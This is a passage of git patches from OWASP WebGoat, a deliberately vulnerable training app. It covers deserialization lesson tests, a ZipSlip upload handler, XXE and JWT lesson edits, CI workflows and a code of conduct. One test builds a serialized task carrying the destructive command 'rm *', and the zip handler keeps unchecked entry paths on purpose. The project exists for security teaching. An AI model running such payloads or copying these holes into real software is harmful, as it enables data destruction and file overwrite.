fail() throws Exception { mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") .header("x-request-intercepted", "true") .param("token", SerializationHelper.toString(new VulnerableTaskHolder("delete", "rm *")))) - .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false))); + .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false))); } - + @Test public void wrongVersion() throws Exception { - String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; + String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") .header("x-request-intercepted", "true") .param("token", token)) - .andExpect(status().isOk()) + .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.invalidversion")))) - .andExpect(jsonPath("$.lessonCompleted", is(false))); + .andExpect(jsonPath("$.lessonCompleted", is(false))); } - + @Test public void expiredTask() throws Exception { - String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; + String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw"; mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") .header("x-request-intercepted", "true") .param("token", token)) - .andExpect(status().isOk()) + .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.expired")))) - .andExpect(jsonPath("$.lessonCompleted", is(false))); + .andExpect(jsonPath("$.lessonCompleted", is(false))); } - - + @Test public void checkOtherObject() throws Exception { - String token = "rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l"; - mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") + String token = "rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l"; + mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task") .header("x-request-intercepted", "true") .param("token", token)) - .andExpect(status().isOk()) + .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("insecure-deserialization.stringobject")))) - .andExpect(jsonPath("$.lessonCompleted", is(false))); + .andExpect(jsonPath("$.lessonCompleted", is(false))); } - - + } \ No newline at end of file diff --git a/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileZipSlip.java b/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileZipSlip.java index 7bf9239bf..e119a1f4e 100644 --- a/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileZipSlip.java +++ b/webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileZipSlip.java @@ -7,14 +7,12 @@ import org.owasp.webgoat.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.ResponseEntity; import org.springframework.util.FileCopyUtils; -import org.springframework.util.FileSystemUtils; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.IOException; import java.io.InputStream; -import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Arrays; @@ -45,22 +43,21 @@ public class ProfileZipSlip extends ProfileUploadBase { @SneakyThrows private AttackResult processZipUpload(MultipartFile file) { - var tmpZipDirectory = new File(getWebGoatHomeDirectory(), "/PathTraversal/zip-slip/" + getWebSession().getUserName()); + var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); var uploadDirectory = new File(getWebGoatHomeDirectory(), "/PathTraversal/" + getWebSession().getUserName()); - FileSystemUtils.deleteRecursively(uploadDirectory); - Files.createDirectories(tmpZipDirectory.toPath()); + var currentImage = getProfilePictureAsBase64(); + Files.createDirectories(uploadDirectory.toPath()); - byte[] currentImage = getProfilePictureAsBase64(); try { - var uploadedZipFile = new File(tmpZipDirectory, file.getOriginalFilename()); - FileCopyUtils.copy(file.getBytes(), uploadedZipFile); + var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); + FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); - ZipFile zip = new ZipFile(uploadedZipFile); + ZipFile zip = new ZipFile(uploadedZipFile.toFile()); Enumeration entries = zip.entries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); - File f = new File(uploadDirectory, e.getName()); + File f = new File(tmpZipDirectory.toFile(), e.getName()); InputStream is = zip.getInputStream(e); Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); } diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc index dc55affce..bb909b1d8 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc +++ b/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_zip_slip_solution.adoc @@ -8,7 +8,7 @@ curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg zip profile.zip cat.jpg ---- -Now let's upload this as our profile image, we can see nothing happens as mentioned in the assignment there is a bug in the software and the result we see on the screen is: +Now let's upload this as our profile image, we can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is: [source] ---- diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index f16525506..7bc052d21 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -35,4 +35,20 @@ 1.2 + + + + + org.apache.maven.plugins + maven-surefire-plugin + ${maven-surefire-plugin.version} + + + + --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED + + + + + diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 758b560f1..856f225c4 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -11,21 +11,20 @@ - commons-lang - commons-lang - 2.6 + org.apache.commons + commons-lang3 + ${commons-lang3.version} org.glassfish.jaxb jaxb-runtime - 2.3.0 com.github.tomakehurst wiremock - 2.27.2 - test + test + ${wiremock.version} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java index c627d727f..4283c2895 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java @@ -23,6 +23,7 @@ package org.owasp.webgoat.xxe; import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AttackResult; @@ -67,17 +68,17 @@ public class ContentTypeAssignment extends AssignmentEndpoint { if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { String error = ""; try { - boolean secure = false; - if (null != request.getSession().getAttribute("applySecurity")) { - secure = true; - } + boolean secure = false; + if (null != request.getSession().getAttribute("applySecurity")) { + secure = true; + } Comment comment = comments.parseXml(commentStr, secure); comments.addComment(comment, false); if (checkSolution(comment)) { attackResult = success(this).build(); } } catch (Exception e) { - error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e); + error = ExceptionUtils.getStackTrace(e); attackResult = failed(this).feedback("xxe.content.type.feedback.xml").output(error).build(); } } @@ -85,13 +86,13 @@ public class ContentTypeAssignment extends AssignmentEndpoint { return attackResult; } - private boolean checkSolution(Comment comment) { - String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; - boolean success = false; - for (String directory : directoriesToCheck) { - success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); - } - return success; - } + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } } diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java index 30930c97d..888bb25d3 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java @@ -23,7 +23,7 @@ package org.owasp.webgoat.xxe; import org.apache.commons.exec.OS; -import org.apache.commons.lang.exception.ExceptionUtils; +import org.apache.commons.lang3.exception.ExceptionUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AttackResult; @@ -80,7 +80,7 @@ public class SimpleXXE extends AssignmentEndpoint { return success(this).build(); } } catch (Exception e) { - error = ExceptionUtils.getFullStackTrace(e); + error = ExceptionUtils.getStackTrace(e); } return failed(this).output(error).build(); } From 61f2bfa9ec70997f822567b4fa8e6e616f6ec4a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Sat, 25 Sep 2021 11:28:20 +0200 Subject: [PATCH 006/227] Added jdk badge --- README.MD | 1 + 1 file changed, 1 insertion(+) diff --git a/README.MD b/README.MD index 3b0a76d43..bb2678219 100644 --- a/README.MD +++ b/README.MD @@ -3,6 +3,7 @@ [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml) [![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) [![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) +[![java-jdk](https://img.shields.io/badge/java%20jdk-15-green.svg)](https://jdk.java.net/) [![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) From 1461263b607d2b180ae48ae36d054a7a7c7576c9 Mon Sep 17 00:00:00 2001 From: juoum <79800410+itsjuoum@users.noreply.github.com> Date: Wed, 15 Sep 2021 19:45:24 +0100 Subject: [PATCH 007/227] Update WebGoat/GoatAndWolf version on the documentation to the latest --- README.MD | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.MD b/README.MD index bb2678219..e5a8e4eda 100644 --- a/README.MD +++ b/README.MD @@ -38,7 +38,7 @@ The easiest way to start WebGoat as a Docker container is to use the all-in-one ```shell -docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.1 +docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2 ``` The landing page will be located at: http://localhost @@ -55,8 +55,8 @@ WebWolf will be located at: http://localhost:9090/WebWolf Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) ```shell -java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.1.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001] -java -Dfile.encoding=UTF-8 -jar webwolf-8.2.1.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001] +java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.2.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001] +java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001] ``` WebGoat will be located at: http://localhost:8080/WebGoat and @@ -107,7 +107,7 @@ For instance running as a jar on a Linux/macOS it will look like this: ```Shell export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" -java -jar webgoat-server/target/webgoat-server-v8.2.0-SNAPSHOT.jar +java -jar webgoat-server/target/webgoat-server-v8.2.2-SNAPSHOT.jar ``` Or in a docker run it would (once this version is pushed into docker hub) look like this: ```Shell From 9403bbb8517e9e0601510fb38058bedc06ed21ef Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 09:40:45 +0200 Subject: [PATCH 008/227] Cleaned up pom, added simple quality test action on push usable for forks of the repo --- .github/workflows/build.yml | 4 +-- .github/workflows/quality_checks.yml | 52 ++++++++++++++++++++++++++++ .github/workflows/rebase.yml | 2 +- .github/workflows/release.yml | 2 ++ .github/workflows/welcome.yml | 1 + pom.xml | 5 --- 6 files changed, 58 insertions(+), 8 deletions(-) create mode 100644 .github/workflows/quality_checks.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 7a68efd3c..d30c8c58d 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -46,12 +46,12 @@ jobs: run: mvn clean install notify-slack: - if: github.event_name == 'push' && (success() || failure()) + if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push' && (success() || failure()) needs: - build runs-on: ubuntu-latest steps: - - name: "Slack workflow notification" + - name: "Slack workflow notification fork test" uses: Gamesight/slack-workflow-status@master with: repo_token: ${{secrets.GITHUB_TOKEN}} diff --git a/.github/workflows/quality_checks.yml b/.github/workflows/quality_checks.yml new file mode 100644 index 000000000..7e68e6000 --- /dev/null +++ b/.github/workflows/quality_checks.yml @@ -0,0 +1,52 @@ +name: "Testing and linting" +on: + push: + branches-ignore: + - master + - develop + - release/* +jobs: + install-notest: + runs-on: ubuntu-latest + name: "Package and linting" + steps: + - uses: actions/checkout@v2 + - name: set up JDK 15 + uses: actions/setup-java@v2 + with: + distribution: 'zulu' + java-version: 15 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v2.1.5 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2 + - name: Test with Maven + run: mvn clean install -DskipTests + + testing: + needs: install-notest + runs-on: ubuntu-latest + strategy: + matrix: + args: + - mvn -pl '!webgoat-integration-tests' test + - mvn -pl webgoat-integration-tests test + steps: + - uses: actions/checkout@v2 + - name: set up JDK 15 + uses: actions/setup-java@v2 + with: + distribution: 'zulu' + java-version: 15 + architecture: x64 + - name: Cache Maven packages + uses: actions/cache@v2.1.5 + with: + path: ~/.m2 + key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }} + restore-keys: ubuntu-latest-m2 + - name: Test with Maven + run: ${{ matrix.args }} diff --git a/.github/workflows/rebase.yml b/.github/workflows/rebase.yml index e1012a97a..5889c17c4 100644 --- a/.github/workflows/rebase.yml +++ b/.github/workflows/rebase.yml @@ -5,7 +5,7 @@ on: jobs: rebase: name: Rebase - if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER' + if: github.repository == 'WebGoat/WebGoat' && github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER' runs-on: ubuntu-latest steps: - name: Checkout the latest code diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 667b56645..e48bc8500 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -5,6 +5,7 @@ on: - v* jobs: release: + if: github.repository == 'WebGoat/WebGoat' name: Release WebGoat runs-on: ubuntu-latest environment: @@ -103,6 +104,7 @@ jobs: - name: "Image digest" run: echo ${{ steps.docker_build.outputs.digest }} new_version: + if: github.repository == 'WebGoat/WebGoat' name: Update development version needs: [ release ] runs-on: ubuntu-latest diff --git a/.github/workflows/welcome.yml b/.github/workflows/welcome.yml index 9ad343f08..24c2a27b9 100644 --- a/.github/workflows/welcome.yml +++ b/.github/workflows/welcome.yml @@ -7,6 +7,7 @@ on: jobs: greeting: + if: github.repository == 'WebGoat/WebGoat' runs-on: ubuntu-latest steps: - uses: actions/first-interaction@v1.1.0 diff --git a/pom.xml b/pom.xml index 4a337bdda..900d9dbab 100644 --- a/pom.xml +++ b/pom.xml @@ -110,11 +110,6 @@ https://github.com/WebGoat/WebGoat/issues - - Travis CI - https://travis-ci.org/WebGoat/WebGoat - - UTF-8 From 362248a065c5356abd71c4c164584e93343a8eda Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Wed, 29 Sep 2021 13:36:21 +0200 Subject: [PATCH 009/227] Fix token signature validation --- .../org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java | 2 +- .../owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java index 8fece23b2..259b9d4aa 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java @@ -75,7 +75,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint { @ResponseBody public AttackResult login(@RequestParam String token) { try { - Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parse(token); + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); Claims claims = (Claims) jwt.getBody(); if (!claims.keySet().containsAll(expectedClaims)) { return failed(this).feedback("jwt-secret-claims-missing").build(); diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java index 955dfff18..0ab2e5bc3 100644 --- a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java @@ -128,4 +128,15 @@ public class JWTSecretKeyEndpointTest extends LessonTest { .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); } + + @Test + void unsignedToken() throws Exception { + Claims claims = createClaims("WebGoat"); + String token = Jwts.builder().setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } } \ No newline at end of file From a1796f25773c314c311b967d15e484425dd5f52f Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 12:02:03 +0200 Subject: [PATCH 010/227] Added funding link --- .github/FUNDING.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..696cb3a7f --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat \ No newline at end of file From 96ec4aa90907932ac6e17f52d179641a03df4179 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 12:40:50 +0200 Subject: [PATCH 011/227] Added code of conduct --- CODE_OF_CONDUCT.md | 60 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 CODE_OF_CONDUCT.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 000000000..28718f0a4 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,60 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +- Using welcoming and inclusive language +- Being respectful of differing viewpoints and experiences +- Gracefully accepting constructive criticism +- Focusing on what is best for the community +- Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +- The use of sexualized language or imagery and unwelcome sexual attention or advances +- Trolling, insulting/derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or electronic address, without explicit permission +- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack). +- Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Disclaimer + +The WebGoat project and its materials are conceived for educational and research purposes only. + +Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials. + +The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them. + +Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions. + +The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org. + +All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4"). + +For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq) From 897afa3c2be72cb71a961e80f6c659a28caf44c4 Mon Sep 17 00:00:00 2001 From: Jeroen Willemsen Date: Wed, 29 Sep 2021 13:04:29 +0200 Subject: [PATCH 012/227] Start of contributing, adding lock and stale (as per example from Juiceshop --- .github/lock.yml | 10 ++++++++++ .github/stale.yml | 14 ++++++++++++++ CONTRIBUTING.md | 0 3 files changed, 24 insertions(+) create mode 100644 .github/lock.yml create mode 100644 .github/stale.yml create mode 100644 CONTRIBUTING.md diff --git a/.github/lock.yml b/.github/lock.yml new file mode 100644 index 000000000..436e0b9a7 --- /dev/null +++ b/.github/lock.yml @@ -0,0 +1,10 @@ +--- +daysUntilLock: 365 +skipCreatedBefore: false +exemptLabels: [] +lockLabel: false +lockComment: > + This thread has been automatically locked because it has not had + recent activity after it was closed. :lock: Please open a new issue + for regressions or related bugs. +setLockReason: false diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 000000000..814750195 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,14 @@ +--- +daysUntilStale: 90 +daysUntilClose: 14 +exemptLabels: + - bounty + - challenge + - critical + - feature + - technical debt +staleLabel: stale +markComment: > + This issue has been automatically marked as `stale` because it has not had + recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. +closeComment: false \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..e69de29bb From ffe400cb76c189eb58cdd000bfc5df1c5ac50ac7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 14:01:57 +0200 Subject: [PATCH 013/227] Remove accidentally added "test" addition --- .github/workflows/build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index d30c8c58d..5a913a9f7 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -51,7 +51,7 @@ jobs: - build runs-on: ubuntu-latest steps: - - name: "Slack workflow notification fork test" + - name: "Slack workflow notification" uses: Gamesight/slack-workflow-status@master with: repo_token: ${{secrets.GITHUB_TOKEN}} From 32bd895632f419c515be9068ad3520eddc30ccf2 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 29 Sep 2021 13:58:49 +0200 Subject: [PATCH 014/227] Revert "Start of contributing, adding lock and stale (as per example from Juiceshop" This reverts commit 897afa3c2be72cb71a961e80f6c659a28caf44c4. --- .github/lock.yml | 10 ---------- .github/stale.yml | 14 -------------- CONTRIBUTING.md | 0 3 files changed, 24 deletions(-) delete mode 100644 .github/lock.yml delete mode 100644 .github/stale.yml delete mode 100644 CONTRIBUTING.md diff --git a/.github/lock.yml b/.github/lock.yml deleted file mode 100644 index 436e0b9a7..000000000 --- a/.github/lock.yml +++ /dev/null @@ -1,10 +0,0 @@ ---- -daysUntilLock: 365 -skipCreatedBefore: false -exemptLabels: [] -lockLabel: false -lockComment: > - This thread has been automatically locked because it has not had - recent activity after it was closed. :lock: Please open a new issue - for regressions or related bugs. -setLockReason: false diff --git a/.github/stale.yml b/.github/stale.yml deleted file mode 100644 index 814750195..000000000 --- a/.github/stale.yml +++ /dev/null @@ -1,14 +0,0 @@ ---- -daysUntilStale: 90 -daysUntilClose: 14 -exemptLabels: - - bounty - - challenge - - critical - - feature - - technical debt -staleLabel: stale -markComment: > - This issue has been automatically marked as `stale` because it has not had - recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs. -closeComment: false \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index e69de29bb..000000000 From f5604df2561b6e4efc58cc06c41dbc9ce802f8c5 Mon Sep 